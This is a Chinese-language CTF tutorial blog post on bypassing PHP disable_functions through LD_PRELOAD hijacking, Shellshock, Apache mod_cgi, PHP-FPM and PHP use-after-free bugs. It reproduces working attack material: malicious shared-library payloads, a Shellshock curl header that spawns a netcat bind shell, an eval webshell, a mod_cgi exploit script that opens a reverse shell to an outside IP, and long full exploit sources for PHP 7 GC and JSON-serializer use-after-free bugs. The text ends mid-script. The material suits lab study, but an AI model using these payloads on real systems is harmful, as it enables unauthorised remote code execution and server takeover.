php disable_functions绕过

php disable_functions绕过

Ko1sh1

LD_PRELOAD 绕过

条件

1
2
3
putenv() 	未禁
error_log() 或 mail() 任意一个存在(抑或是找到其他的触发方法。在优化payload的情况下,这是不必要的)
mb_send_mail() 上面两个的替代品

在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。

学习

假如存在以下程序,简单的通过库函数 strcmp 校验密码是否正确

verifypasswd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>\n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!\n");
return;
}
printf("Invalid Password!/n");
}

strcmp 是一个外部调用函数,我们可以重新编写一个同名函数:

hack.c

1
2
3
4
5
6
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
return 0;
}

把它编译为一个动态共享库:

1
2
3
#!shell
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -fPIC hack.c -o hack.so

通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:

1
$ export LD_PRELOAD="./hack.so"

运行给出的例程:

1
2
3
#!shell
$ ./verifypasswd koishi
$ Correct Password!

image-20230826173159231

我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。

实际利用

对于实际的利用情况下,在 /usr/sbin 下存在有些系统命令,可以通过以下指令进行查看详细情况,以sendmail为例

1
readelf -Ws /usr/sbin/sendmail

在输出的内容中,可以返现其调用了很多标准库函数,从中选取一个合适的库函数即可,其中就包含 geteuid() 。php中 mail() 函数是会触发这个sendmail系统函数的。格式如下

1
mail("","","","","");

除此以外,error_log() 也可触发 sendmail

1
error_log("",1,"","");

首先先编写而已so文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdlib.h>
#include <stdio.h>
#include<string.h>

void payload(){
system("/readflag >/tmp/yy");
}

int geteuid(){
if(getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

编译so

1
gcc -fPIC -shared koishi.c -o koishi.so

可以将koishi.so上传到服务器的 /tmp 下,再上传以下php文件

1
2
3
4
<?php
putenv("LD_PRELOAD=/tmp/koishi.so"); // 注意这里的目录要有访问权限
error_log("",1,"","");
?>

这样通过直接访问或者包含该 php 文件即可达到想要的效果

payload–优化

改进方法

上面的方法是劫持某一函数,进行重写。这里的局限就是只能找到一个函数进行劫持,有十个函数就要编写十个不同的so文件,很麻烦。当然我们可以调用一个方法来完成通杀。比如编写以下的c文件(很多调用的命令都可触发)。

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
unsetenv("CMD");
system(cmd);
}
1
gcc -fPIC -shared koishi.c -o koishi.so
1
2
3
4
5
<?php
putenv("LD_PRELOAD=/tmp/koishi.so"); // 注意这里的目录要有访问权限
putenv("CMD=/readflag >> /tmp/answer.txt");
error_log("",1,"","");
?>

做题

代码非常简单

1
2
3
4
<?php 
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

直接使用蚁剑连接上去,肯定是无法直接执行命令的,首先上传上面payload中编译好的so文件,然后上传php文件到html下,直接进行访问即可,在/var/tmp下会出现执行 /readflag 的结果内容。

ShellShock(鸡肋,限制太多)

需要bash小于等于bash 4.1

Shellshock Attack

限制

如果在一个含有版本号小于等于bash 4.1的linux或者unix系统,才可能会存在该漏洞。

认识环境变量&&bash

1.普通shell变量和bash

1
2
3
4
5
6
7
8
9
[04/12/2018 09:26] seed@ubuntu:~/Seed/shellshock$ koishi="hacker"
[04/12/2018 09:26] seed@ubuntu:~/Seed/shellshock$ echo $koishi
hacker
[04/12/2018 09:26] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:27] seed@ubuntu:~/Seed/shellshock$ echo $koishi

[04/12/2018 09:27] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:27] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程没有继承普通shell变量 koishi.

2.普通环境变量和bash

1
2
3
4
5
6
7
8
9
[04/12/2018 09:31] seed@ubuntu:~/Seed/shellshock$ echo $koishi
hacker
[04/12/2018 09:32] seed@ubuntu:~/Seed/shellshock$ export koishi
[04/12/2018 09:32] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:32] seed@ubuntu:~/Seed/shellshock$ echo $koishi
hacker
[04/12/2018 09:32] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:32] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程继承环境变量 koishi.

3.函数shell变量和bash

1
2
3
4
5
6
7
8
9
[04/12/2018 09:37] seed@ubuntu:~/Seed/shellshock$ koishi() { echo "koishi is a hacker";}
[04/12/2018 09:37] seed@ubuntu:~/Seed/shellshock$ koishi
koishi is a hacker
[04/12/2018 09:38] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:38] seed@ubuntu:~/Seed/shellshock$ koishi
koishi: command not found
[04/12/2018 09:38] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:38] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程没有继承函数shell变量 koishi.

4.函数环境变量和bash

1
2
3
4
5
6
7
8
9
10
11
12
[04/12/2018 09:41] seed@ubuntu:~/Seed/shellshock$ koishi
koishi is a hacker
[04/12/2018 09:41] seed@ubuntu:~/Seed/shellshock$ export -f koishi
[04/12/2018 09:41] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$ koishi
koishi is a hacker
[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$ env | grep koishi
koishi=hacker
koishi=() { echo "koishi is a hacker"
[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程继承了函数环境变量 koishi.

5.再探普通环境变量和bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$ ailx10='() {  echo "ailx10 is a hacker";}'
[04/12/2018 09:48] seed@ubuntu:~/Seed/shellshock$ export -nf koishi
[04/12/2018 09:48] seed@ubuntu:~/Seed/shellshock$ export -n koishi
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ export -f ailx10
bash: export: ailx10: not a function
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ export ailx10
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$ ailx10
ailx10 is a hacker
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$ env | grep ailx10
ailx10=() { echo "ailx10 is a hacker"
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$ env | grep ailx10
ailx10=() { echo "ailx10 is a hacker";}
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程误把普通环境变量(){ :; }当做函数环境变量处理了.

6.() { :;}再探

1
2
3
4
5
6
7
8
[04/12/2018 09:57] seed@ubuntu:~/Seed/shellshock$ ailx10='() { :; };/bin/ls'
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ export ailx10
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ bash
curl-7.20.0 myls myls.c myprog.cgi.1 readme.txt
curl-7.20.0.tar.gz myls-notroot myprog.cgi myprog.cgi.2
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$

从上述实验中我们得出结论:bash子进程处理了/bin/ls.

  1. 产生新的bash
  2. 通过环境变量传递
  3. 环境变量以() {}这样的形式.

如何用一条语句验证bash漏洞?

1
2
3
4
5
6
7
8
[04/12/2018 10:14] seed@ubuntu:~/Seed/shellshock$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
[04/12/2018 10:14] seed@ubuntu:~/Seed/shellshock$
[04/12/2018 10:14] seed@ubuntu:~/Seed/shellshock$
[04/12/2018 10:14] seed@ubuntu:~/Seed/shellshock$ env x='() { :;}; echo vulnerable' bash -c :
vulnerable
[04/12/2018 10:14] seed@ubuntu:~/Seed/shellshock$

:什么都不做,在这里和true等价

env可以创建临时环境变量。

bash -c可以运行一个shell命令.

攻击Set-UID程序

将sh软链接到我们有漏洞的bash:sudo ln -sf /bin/bash /bin/sh

看一个简单的c程序,功能等同与shell命令ls:

1
2
3
4
5
6
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}

编译运行上面的小程序
设置Set-UID和不设置Set-UID的运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[04/12/2018 10:36] seed@ubuntu:~/Seed/shellshock$ export gu='() { :;};/bin/sh'
[04/12/2018 10:36] seed@ubuntu:~/Seed/shellshock$ ./myls
sh-4.2#
sh-4.2# whoami
root
sh-4.2# pwd
/home/seed/Seed/shellshock
sh-4.2# ls
curl-7.20.0 myls myls.c myprog.cgi.1 readme.txt
curl-7.20.0.tar.gz myls-notroot myprog.cgi myprog.cgi.2
sh-4.2#
sh-4.2#
sh-4.2# exit
exit
[04/12/2018 10:37] seed@ubuntu:~/Seed/shellshock$ ./myls-notroot
sh-4.2$
sh-4.2$ whoami
seed
sh-4.2$ exit
exit
[04/12/2018 10:38] seed@ubuntu:~/Seed/shellshock$

通过实验结果我们可以得出结论:我们获得了一个root shell和一个普通shell.

攻击CGI程序

1.创建CGI程序
创建myprog.cgi,将文件放入/usr/lib/cgi-bin/目录中,设置可执行权限755,

开启apache.通过浏览器访问127.0.0.1/cgi-bin/myprog.cgi试一试.

再试一试curl http://127.0.0.1/cgi-bin/myprog.cgi.

1
2
3
4
5
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hello World"

2.获取网站控制权限

虚拟机的IP地址:192.168.59.142/24
主机的IP地址:192.168.59.1/24

触发网站的shellshock: curl -A "() { :;};echo; /bin/nc -lp 10086 -c bash" http://192.168.59.142/cgi-bin/myprog.cgi

黑客的主机控制了肉鸡:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@gt:/home/git/Keep-learning/mySeedLab# nc 192.168.59.142 10086
whoami
www-data
pwd
/usr/lib/cgi-bin
ls
my2.cgi
myprog.cgi
php
php5
cat /etc/passwd
...
hacker:x:1002:1003::/home/hacker:/bin/sh
gu:x:1001:1004::/home/gu:/bin/sh

注意:
1.主机和虚拟机能够互相Ping通
2.主机可以通过浏览器访问虚拟机中的网站
3.nc使用netcat-traditional替换netcat-openbsd

原理:

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。

在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的。

bypass disable_function

了解了ShellShock后,我们已经知道,想利用这个点,需要三步:

  1. 产生新的bash

  2. 通过环境变量传递

  3. 环境变量以() {}这样的形式

这时候第一想法就是老老实实的蚁剑连,然后进终端进行操作。但是权限不够,设置环境变量,启用bash等这些命令都无法执行。可以参考之前的方法利用PHP的putenv函数设置环境变量,这样环境变量就设好了。

现在需要思考如何产生新的 bash

根据 利用 ShellShock (CVE-2014-6271) 中的内容:

image-20230826220107280

首先,/bin/bash 要存在 CVE-2014-6271 漏洞。其次,需要/bin/sh -> /bin/bash sh 默认的 shell 是 bash。error_log函数正好执行了sh,因此可以用来触发shellshock漏洞。因此我们先在目录下创建一个shell.php文件,写入如下内容,并直接访问(所以文件需要放在/var/www/html 下,本漏洞需求太多,显得鸡肋):

payload

上传 payload 到 /var/www/html 下,并访问。

koishi.php

1
2
3
4
<?php
putenv("PHP_Koishi=() { :; }; tac /flag >> /var/www/html/answer.txt");
error_log("",1,"","");
?>

注意的是,putenv里的环境变量,()和{中间必须有空格,而且{和:中间也必须有空格,不然就会出错,env的前面必须要加上 PHP ,不然不会执行。

Apache Mod CGI

原理

前置内容

这里需要用到.htaccess和mod_cgi

1).htaccess

在文件上传中我们已经很熟悉了,具体介绍百度。

一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限;.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。

2)mod_cgi

在非线程型MPM(prefork)上提供对CGI脚本执行的支持

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中

参考apache手册:https://www.php.cn/manual/view/17782.html#env

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

需要满足几个条件:

条件

1
2
3
4
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

做法有两种,要么直接利用蚁剑的插件,要么手动实现。

具体例子

例:

1
2
3
4
5
6
7
.htaccess内容:
Options +ExecCGI
AddHandler cgi-script .koishi #这里的.koishi是我构造的,表示.koishi后缀的文件都会被当作cgi脚本执行

shell.koishi
#!/bin/sh
echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E]

Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。 关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章:http://www.365mini.com/page/apache-options-directive.htm 当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。

手动注入

首先写一个.htaccess,内容如下:

1
2
Options +ExecCGI
AddHandler cgi-script .koishi

然后写一个 shell.koishi 内容如下:

1
2
3
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&ls

直接执行命令好像可以不需要第二行,但是如果是shell反弹就需要有第二行,不然会出现500:

其实可以直接利用已有的exp,内容如下:

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "nc -c '/bin/bash' 10.11.12.13 8888"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

payload

手动麻烦,就不使用了,直接使用蚁剑的工具吧。

image-20230826224559160

进去后选择 apache_mod_cgi 后点击开始即可生成 shell。

image-20230826224637399

PHP-FPM

前置知识

Nginx+Php-fpm 运行原理详解

攻击PHP-FPM 实现Bypass Disable Functions

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

个人编写攻击脚本较为复杂,建议直接使用蚁剑插件。蚁剑插件和上面那个一样的,换个选项就行。

exp脚本在这Fastcgi PHP-FPM Client && Code Execution (github.com) 兼容 Python2 和 Python3,方便在内网用。

payload – 蚁剑

地址需要选择一下,不然打不通,这题选择的是 localhost:9000,有时候是127.0.0.1:9000

image-20230827170551409

成功后会在web根目录上传一个文件,名为 .antproxy.php 。

然后访问这个文件,连接密码是 ant

image-20230827171251913

连上后,就可以任意执行shell命令了。

UAF

懒得学原理了,这边的知识都是涉及pwn二进制的内容,学不了一点。可以参考下面的内容。

干货 | 突破disable_functions限制执行命令·下-腾讯云开发者社区-腾讯云 (tencent.com)

GC UAF

历史报告 PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

exp: exploits/php7-gc-bypass at master · mm0r1/exploits (github.com)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

修改最顶上的 pwn("uname -a"); 里面的内容就可修改执行的命令的内容。

payload – 蚁剑

image-20230827174152887

Json Serializer UAF

历史报告:PHP :: Bug #77843 :: Use after free with json serializer

EXP

exploits/php-json-bypass/exploit.php at master · mm0r1/exploits (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
